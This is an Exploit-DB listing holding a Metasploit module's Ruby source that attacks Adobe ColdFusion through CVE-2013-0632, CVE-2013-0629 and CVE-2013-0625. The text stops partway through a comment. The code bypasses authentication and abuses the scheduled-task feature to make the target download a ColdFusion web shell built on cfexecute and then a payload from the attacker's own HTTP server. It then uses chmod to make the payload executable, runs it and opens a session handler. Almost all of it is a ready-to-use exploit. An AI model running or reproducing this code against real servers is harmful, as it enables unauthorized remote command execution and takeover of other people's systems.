Exploit-DB #24946
Description: Adobe ColdFusion APSB13-03 - Remote Multiple Vulnerabilities (Metasploit)
Type: remote
Platform: multiple
Date: 2013-04-10
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'digest/sha1'
require 'openssl'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Adobe ColdFusion APSB13-03',
      'Description' => %q{
        This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
          * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
          * CVE-2013-0629: directory traversal
          * CVE-2013-0632: authentication bypass
      },
      'Author'       =>
        [
          'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-0625'],
          [ 'CVE', '2013-0629'],
          # we don't actually exploit this, as this is the backdoor
          # dropped by malware exploiting the other vulnerabilities
          [ 'CVE', '2013-0631'],
          [ 'CVE', '2013-0632'],
        ],
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }],
          [
            'Universal CMD',
            {
              'Arch'     => ARCH_CMD,
              'Platform' => ['unix', 'win', 'linux']
            }
          ]
        ],
      'DefaultTarget'  => 1,
      'Privileged'  => true,
      'Platform'    => [ 'win', 'linux' ],
      'DisclosureDate' => 'Jan 15 2013'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
        OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
        OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
      ], self.class)
  end

  def check
    exploitable = 0
    exploitable += 1 if check_cve_2013_0629
    exploitable += 1 if check_cve_2013_0632
    exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  end

  # Login any way possible, returning the cookies if successful, empty otherwise
  def login
    cf_cookies = {}

    ways = {
      'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
      'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
      'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
    }
    ways.each do |what, how|
      these_cookies = how.call
      if got_auth? these_cookies
        print_status "Authenticated using '#{what}' technique"
        cf_cookies = these_cookies
        break
      end
    end

    fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
    cf_cookies
  end

  def exploit
    # login
    cf_cookies = login

    # if we managed to login, get the listener ready
    datastore['URIPATH'] = rand_text_alphanumeric(6)
    srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
    start_service

    # drop a payload on disk which we can used to execute
    # arbitrary commands, which will be needed regardless of
    # which technique (cmd, payload) the user wants
    input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
    output_exec = "#{datastore['URIPATH']}-e.cfm"
    schedule_drop cf_cookies, input_exec, output_exec

    if datastore['CMD'] and not datastore['CMD'].empty?
      # now that the coldfusion exec is on disk, execute it,
      # passing in the command and arguments
      parts = datastore['CMD'].split(/\s+/)
      res = execute output_exec, parts.shift, parts.join(' ')
      print_line res.body.strip
    else
      # drop the payload
      input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
      output_payload = "#{datastore['URIPATH']}-p"
      schedule_drop cf_cookies, input_payload, output_payload
      # make the payload executable
      # XXX: windows?
      execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
      # execute the payload
      execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
    end
    handler
  end

  def execute cfm, cmd, args=''
    uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
    send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
  end

  def on_new_session(client)
    return
    # TODO: cleanup
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      @files.each do |file|
        client.fs.file.rm("#{file}")
      end
    else
      @files.each do |file|
        client.shell_command_token("rm #{file}")
      end
    end
  end

  def on_request_uri cli, request
    cf_payload = "test"
    case request.uri
    when "/#{datastore['URIPATH']}-e"
      cf_payload = <<-EOF
        <cfparam name="url.cmd" type="string" default="id"/>
        <cfparam name="url.args" type="string" default=""/>
        <cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
        <cfoutput>#output#</cfoutput>
      EOF
    when "/#{datastore['URIPATH']}-p"
      cf_payload = payload.encoded
    end
    send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
  end


  # Given a hash of cookie key value pairs, return a string
  # suitable for